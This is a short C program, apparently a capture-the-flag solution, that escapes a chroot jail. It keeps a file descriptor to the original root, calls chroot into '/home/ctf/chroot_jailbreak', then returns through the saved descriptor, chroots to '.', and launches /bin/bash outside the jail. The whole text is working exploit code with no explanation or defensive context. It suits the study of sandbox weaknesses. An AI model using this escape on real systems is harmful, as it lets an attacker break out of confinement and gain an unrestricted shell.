1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<fcntl.h> int main(){ int fd = open("/.",0); if(fd < 0){ puts("Open Fail!"); exit(0); } chroot("/home/ctf/chroot_jailbreak"); chdir("/");
fchdir(fd); chroot("."); system("/bin/bash"); return 0; }
|